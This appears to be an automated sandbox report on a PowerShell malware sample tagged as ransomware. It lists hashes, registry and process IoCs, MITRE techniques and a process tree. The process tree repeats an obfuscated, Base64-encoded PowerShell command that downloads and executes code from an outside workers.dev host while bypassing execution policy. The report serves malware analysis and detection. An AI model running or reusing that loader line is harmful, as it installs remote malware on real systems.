de40502ec5b17036df15245a3b00635b32ff2e15ce91ec376d8fb769d07f7140

Resubmissions

02/08/2026, 02:51

260802-dcketacj6z8

02/08/2026, 02:47

02/08/2026, 02:42

02/08/2026, 02:31

02/08/2026, 02:03

Analysis

geolocation tags

asiadelhiinindia
user interaction
yes
max time kernel
1560s
max time network
1563s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-de
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-delocale:de-deos:windows11-ltsc_2024-x64systemwindows
submitted
02/08/2026, 02:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
MainPowershell.txt
Size 636B
Sample260802-cgxehasbna
SHA256 de40502ec5b17036df15245a3b00635b32ff2e15ce91ec376d8fb769d07f7140
MD5 7808258b1fabeaf47d23f3ec0b177eb1
SHA1 cacb746b81ea6bce9c507ed995e573cac2d9f07d
SHA512 a9258f8e1b67264aacef70785af854103ef36697cdd1c03c0560123b293d4f77db7da755b6e07a82718b9e1e5ede463299ecee6831f1aa5c5ab9dece620de185
TLSH
T1D4F07D288E74DDC4879DB79188A13F5709BD281697789540EE340C697C16BC1D72A5D8
MD5 SHA1 SHA512 TLSH

Score

8^/10

defense_evasion persistence ransomware

Malware Config

Signatures

Badlisted process makes network request 17 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
8	6056	powershell.exe
9	6056	powershell.exe
11	6056	powershell.exe
12	5260	powershell.exe
13	5260	powershell.exe
14	5260	powershell.exe
15	2124	powershell.exe
16	2124	powershell.exe
17	2124	powershell.exe
33	700	powershell.exe
34	700	powershell.exe
35	700	powershell.exe
36	6104	powershell.exe
37	6104	powershell.exe
38	6104	powershell.exe
132	4780	powershell.exe
133	4780	powershell.exe

Drops desktop.ini file(s) 3 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Documents\desktop.ini	firefox.exe
File opened for modification	C:\Users\Public\desktop.ini	firefox.exe
File opened for modification	C:\Users\Public\Documents\desktop.ini	firefox.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Checks processor information in registry 2 TTPs 31 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	firefox.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
2552	NOTEPAD.EXE

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
1688	powershell.exe
1688	powershell.exe
1688	powershell.exe
6056	powershell.exe
6056	powershell.exe
6056	powershell.exe
5260	powershell.exe
5260	powershell.exe
2124	powershell.exe
2124	powershell.exe
700	powershell.exe
700	powershell.exe
6104	powershell.exe
6104	powershell.exe
4780	powershell.exe
4780	powershell.exe
4780	powershell.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	1688	powershell.exe
Token: SeDebugPrivilege	6056	powershell.exe
Token: SeDebugPrivilege	5260	powershell.exe
Token: SeDebugPrivilege	2124	powershell.exe
Token: SeDebugPrivilege	700	powershell.exe
Token: SeDebugPrivilege	6104	powershell.exe
Token: SeDebugPrivilege	4612	firefox.exe
Token: SeDebugPrivilege	4612	firefox.exe
Token: SeDebugPrivilege	4612	firefox.exe
Token: SeDebugPrivilege	4612	firefox.exe
Token: SeDebugPrivilege	4612	firefox.exe
Token: SeDebugPrivilege	4612	firefox.exe
Token: SeDebugPrivilege	4780	powershell.exe

Suspicious use of FindShellTrayWindow 10 IoCs

pid	Process
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe

Suspicious use of SetWindowsHookEx 36 IoCs

pid	Process
4356	OpenWith.exe
1004	OpenWith.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe
4612	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1688 wrote to memory of 6056	1688	powershell.exe	92
PID 1688 wrote to memory of 5260	1688	powershell.exe	94
PID 1688 wrote to memory of 2124	1688	powershell.exe	96
PID 1688 wrote to memory of 700	1688	powershell.exe	106
PID 1688 wrote to memory of 6104	1688	powershell.exe	110
PID 4356 wrote to memory of 1536	4356	OpenWith.exe	118
PID 1004 wrote to memory of 2536	1004	OpenWith.exe	122
PID 2536 wrote to memory of 4612	2536	firefox.exe	123
PID 2536 wrote to memory of 4612	2536	firefox.exe	123
PID 4612 wrote to memory of 1192	4612	firefox.exe	124
PID 4612 wrote to memory of 1192	4612	firefox.exe	124
PID 4612 wrote to memory of 1192	4612	firefox.exe	124
PID 4612 wrote to memory of 4168	4612	firefox.exe	125
PID 4612 wrote to memory of 4168	4612	firefox.exe	125
PID 4612 wrote to memory of 4168	4612	firefox.exe	125
PID 4612 wrote to memory of 4168	4612	firefox.exe	125
PID 4612 wrote to memory of 3424	4612	firefox.exe	126
PID 4612 wrote to memory of 3424	4612	firefox.exe	126
PID 4612 wrote to memory of 3424	4612	firefox.exe	126
PID 4612 wrote to memory of 3424	4612	firefox.exe	126
PID 4612 wrote to memory of 4392	4612	firefox.exe	127
PID 4612 wrote to memory of 4392	4612	firefox.exe	127
PID 4612 wrote to memory of 4392	4612	firefox.exe	127
PID 4612 wrote to memory of 5964	4612	firefox.exe	128
PID 4612 wrote to memory of 5964	4612	firefox.exe	128
PID 4612 wrote to memory of 5964	4612	firefox.exe	128
PID 4612 wrote to memory of 5964	4612	firefox.exe	128
PID 4612 wrote to memory of 4344	4612	firefox.exe	129
PID 4612 wrote to memory of 4344	4612	firefox.exe	129
PID 4612 wrote to memory of 4344	4612	firefox.exe	129
PID 4612 wrote to memory of 4344	4612	firefox.exe	129
PID 4612 wrote to memory of 3436	4612	firefox.exe	130
PID 4612 wrote to memory of 3436	4612	firefox.exe	130
PID 4612 wrote to memory of 3436	4612	firefox.exe	130
PID 4612 wrote to memory of 3436	4612	firefox.exe	130
PID 4612 wrote to memory of 4328	4612	firefox.exe	131
PID 4612 wrote to memory of 4328	4612	firefox.exe	131
PID 4612 wrote to memory of 4328	4612	firefox.exe	131
PID 4612 wrote to memory of 4328	4612	firefox.exe	131
PID 4612 wrote to memory of 4904	4612	firefox.exe	132
PID 4612 wrote to memory of 4904	4612	firefox.exe	132
PID 4612 wrote to memory of 4904	4612	firefox.exe	132
PID 4612 wrote to memory of 4904	4612	firefox.exe	132
PID 4612 wrote to memory of 2404	4612	firefox.exe	144
PID 4612 wrote to memory of 2404	4612	firefox.exe	144
PID 4612 wrote to memory of 2404	4612	firefox.exe	144
PID 4612 wrote to memory of 2404	4612	firefox.exe	144
PID 4612 wrote to memory of 5480	4612	firefox.exe	145
PID 4612 wrote to memory of 5480	4612	firefox.exe	145
PID 4612 wrote to memory of 5480	4612	firefox.exe	145
PID 4612 wrote to memory of 5480	4612	firefox.exe	145
PID 4612 wrote to memory of 1356	4612	firefox.exe	146
PID 4612 wrote to memory of 1356	4612	firefox.exe	146
PID 4612 wrote to memory of 1356	4612	firefox.exe	146
PID 4612 wrote to memory of 1356	4612	firefox.exe	146
PID 4612 wrote to memory of 2668	4612	firefox.exe	147
PID 4612 wrote to memory of 2668	4612	firefox.exe	147
PID 4612 wrote to memory of 2668	4612	firefox.exe	147
PID 4612 wrote to memory of 2668	4612	firefox.exe	147
PID 4612 wrote to memory of 6088	4612	firefox.exe	148
PID 4612 wrote to memory of 6088	4612	firefox.exe	148
PID 4612 wrote to memory of 6088	4612	firefox.exe	148
PID 4612 wrote to memory of 6088	4612	firefox.exe	148
PID 4612 wrote to memory of 5136	4612	firefox.exe	149

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\NOTEPAD.EXE
C:\Windows\system32\NOTEPAD.EXE C:\Users\Admin\AppData\Local\Temp\MainPowershell.txt
1⤵
- Opens file in notepad (likely ransom note)
PID:2552

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1688
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Normal -ExecutionPolicy Bypass -EncodedCommand aQBlAHgAIAAoAGkAdwByACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0ASABlAGEAZABlAHIAcwAgAEAAewAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAAMQAwAC4AMAA7ACAAVwBpAG4ANgA0ADsAIAB4ADYANAApACAAQQBwAHAAbABlAFcAZQBiAEsAaQB0AC8ANQAzADcALgAzADYAIAAoAFcAaQBuAGQAbwB3AHMATABvAGEAZABlAHIALwB2ADEALgAwACkAJwB9ACAAaAB0AHQAcABzADoALwAvAHkAbwB1AG4AZwAtAGIAbwBhAHQALQBlAGUAZQAyAC4AYgBkAHUANgA5ADAAMwAuAHcAbwByAGsAZQByAHMALgBkAGUAdgAvAHAAcwBjACkALgBDAG8AbgB0AGUAbgB0AA==
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Normal -ExecutionPolicy Bypass -EncodedCommand aQBlAHgAIAAoAGkAdwByACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0ASABlAGEAZABlAHIAcwAgAEAAewAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAAMQAwAC4AMAA7ACAAVwBpAG4ANgA0ADsAIAB4ADYANAApACAAQQBwAHAAbABlAFcAZQBiAEsAaQB0AC8ANQAzADcALgAzADYAIAAoAFcAaQBuAGQAbwB3AHMATABvAGEAZABlAHIALwB2ADEALgAwACkAJwB9ACAAaAB0AHQAcABzADoALwAvAHkAbwB1AG4AZwAtAGIAbwBhAHQALQBlAGUAZQAyAC4AYgBkAHUANgA5ADAAMwAuAHcAbwByAGsAZQByAHMALgBkAGUAdgAvAHAAcwBjACkALgBDAG8AbgB0AGUAbgB0AA==
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5260
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Normal -ExecutionPolicy Bypass -EncodedCommand aQBlAHgAIAAoAGkAdwByACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0ASABlAGEAZABlAHIAcwAgAEAAewAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAAMQAwAC4AMAA7ACAAVwBpAG4ANgA0ADsAIAB4ADYANAApACAAQQBwAHAAbABlAFcAZQBiAEsAaQB0AC8ANQAzADcALgAzADYAIAAoAFcAaQBuAGQAbwB3AHMATABvAGEAZABlAHIALwB2ADEALgAwACkAJwB9ACAAaAB0AHQAcABzADoALwAvAHkAbwB1AG4AZwAtAGIAbwBhAHQALQBlAGUAZQAyAC4AYgBkAHUANgA5ADAAMwAuAHcAbwByAGsAZQByAHMALgBkAGUAdgAvAHAAcwBjACkALgBDAG8AbgB0AGUAbgB0AA==
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2124
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Normal -ExecutionPolicy Bypass -EncodedCommand aQBlAHgAIAAoAGkAdwByACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0ASABlAGEAZABlAHIAcwAgAEAAewAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAAMQAwAC4AMAA7ACAAVwBpAG4ANgA0ADsAIAB4ADYANAApACAAQQBwAHAAbABlAFcAZQBiAEsAaQB0AC8ANQAzADcALgAzADYAIAAoAFcAaQBuAGQAbwB3AHMATABvAGEAZABlAHIALwB2ADEALgAwACkAJwB9ACAAaAB0AHQAcABzADoALwAvAHkAbwB1AG4AZwAtAGIAbwBhAHQALQBlAGUAZQAyAC4AYgBkAHUANgA5ADAAMwAuAHcAbwByAGsAZQByAHMALgBkAGUAdgAvAHAAcwBjACkALgBDAG8AbgB0AGUAbgB0AA==
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Normal -ExecutionPolicy Bypass -EncodedCommand aQBlAHgAIAAoAGkAdwByACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0ASABlAGEAZABlAHIAcwAgAEAAewAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAAMQAwAC4AMAA7ACAAVwBpAG4ANgA0ADsAIAB4ADYANAApACAAQQBwAHAAbABlAFcAZQBiAEsAaQB0AC8ANQAzADcALgAzADYAIAAoAFcAaQBuAGQAbwB3AHMATABvAGEAZABlAHIALwB2ADEALgAwACkAJwB9ACAAaAB0AHQAcABzADoALwAvAHkAbwB1AG4AZwAtAGIAbwBhAHQALQBlAGUAZQAyAC4AYgBkAHUANgA5ADAAMwAuAHcAbwByAGsAZQByAHMALgBkAGUAdgAvAHAAcwBjACkALgBDAG8AbgB0AGUAbgB0AA==
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Normal -ExecutionPolicy Bypass -EncodedCommand aQBlAHgAIAAoAGkAdwByACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0ASABlAGEAZABlAHIAcwAgAEAAewAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAAMQAwAC4AMAA7ACAAVwBpAG4ANgA0ADsAIAB4ADYANAApACAAQQBwAHAAbABlAFcAZQBiAEsAaQB0AC8ANQAzADcALgAzADYAIAAoAFcAaQBuAGQAbwB3AHMATABvAGEAZABlAHIALwB2ADEALgAwACkAJwB9ACAAaAB0AHQAcABzADoALwAvAHkAbwB1AG4AZwAtAGIAbwBhAHQALQBlAGUAZQAyAC4AYgBkAHUANgA5ADAAMwAuAHcAbwByAGsAZQByAHMALgBkAGUAdgAvAHAAcwBjACkALgBDAG8AbgB0AGUAbgB0AA==
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4780

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:3404

C:\Windows\System32\SecurityHealthHost.exe
\\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
1⤵
PID:4940

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2340

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4356
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\Google\python\get-pip.py
  2⤵
  PID:1536

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1004
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "C:\Users\Admin\AppData\Roaming\Google\python\get-pip.py"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2536
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url C:\Users\Admin\AppData\Roaming\Google\python\get-pip.py
    3⤵
    - Drops desktop.ini file(s)
    - Checks processor information in registry
    - Modifies registry class
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:4612
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1920 -prefsLen 27097 -prefMapHandle 1916 -prefMapSize 270279 -ipcHandle 2036 -initialChannelId {0bc309d8-eade-4ecc-8a17-25eda4cc027d} -parentPid 4612 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4612" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
      4⤵
      PID:1192
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2436 -prefsLen 27133 -prefMapHandle 2440 -prefMapSize 270279 -ipcHandle 2448 -initialChannelId {4c8cd707-9d95-4b57-b558-579243c29a59} -parentPid 4612 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4612" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
      4⤵
      PID:4168
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3836 -prefsLen 27274 -prefMapHandle 3840 -prefMapSize 270279 -jsInitHandle 3844 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3852 -initialChannelId {72c1ad55-1a13-4de0-b616-85a492a8980c} -parentPid 4612 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4612" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
      4⤵
      Checks processor information in registry
      PID:3424
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4004 -prefsLen 27274 -prefMapHandle 4008 -prefMapSize 270279 -ipcHandle 4092 -initialChannelId {dab6f582-f1f4-4379-9135-ad1a74b46cab} -parentPid 4612 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4612" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
      4⤵
      PID:4392
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3056 -prefsLen 34773 -prefMapHandle 3236 -prefMapSize 270279 -jsInitHandle 3272 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3104 -initialChannelId {2737002c-0bd2-4ccd-bdcf-5faca9232ea6} -parentPid 4612 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4612" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
      4⤵
      Checks processor information in registry
      PID:5964
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 3224 -prefsLen 34903 -prefMapHandle 3032 -prefMapSize 270279 -ipcHandle 3192 -initialChannelId {9f82d95a-1488-4271-aeab-0caaa3d3529a} -parentPid 4612 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4612" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
      4⤵
      Checks processor information in registry
      PID:4344
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5436 -prefsLen 32952 -prefMapHandle 5428 -prefMapSize 270279 -jsInitHandle 5460 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5468 -initialChannelId {0ae3101e-c12c-45cf-a5f1-8095d0921e4b} -parentPid 4612 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4612" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
      4⤵
      Checks processor information in registry
      PID:3436
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5488 -prefsLen 32952 -prefMapHandle 5492 -prefMapSize 270279 -jsInitHandle 5496 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5512 -initialChannelId {7421cd13-01ca-4f52-9634-8daf346c7a75} -parentPid 4612 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4612" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
      4⤵
      Checks processor information in registry
      PID:4328
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5828 -prefsLen 32952 -prefMapHandle 5832 -prefMapSize 270279 -jsInitHandle 5836 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5844 -initialChannelId {90121dd0-75f4-4c52-b922-6f60913a4edb} -parentPid 4612 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4612" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
      4⤵
      Checks processor information in registry
      PID:4904
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4868 -prefsLen 36593 -prefMapHandle 2908 -prefMapSize 270279 -jsInitHandle 2904 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4696 -initialChannelId {6b4f03a0-b687-4fa8-a59b-6303770c8cab} -parentPid 4612 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4612" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab
      4⤵
      Checks processor information in registry
      PID:2404
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6284 -prefsLen 33949 -prefMapHandle 6092 -prefMapSize 270279 -jsInitHandle 1460 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6484 -initialChannelId {50060644-d2b8-40c4-b68c-04f3f37a3fe6} -parentPid 4612 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4612" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 tab
      4⤵
      Checks processor information in registry
      PID:5480
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6824 -prefsLen 33949 -prefMapHandle 6340 -prefMapSize 270279 -jsInitHandle 6336 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6640 -initialChannelId {0fb3167e-cfaa-4a96-b2ee-1132124ef064} -parentPid 4612 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4612" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 tab
      4⤵
      Checks processor information in registry
      PID:1356
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 7064 -prefsLen 33949 -prefMapHandle 7068 -prefMapSize 270279 -jsInitHandle 7072 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6988 -initialChannelId {a3f4b173-57b8-400d-9834-d4d6036cd9da} -parentPid 4612 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4612" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 13 tab
      4⤵
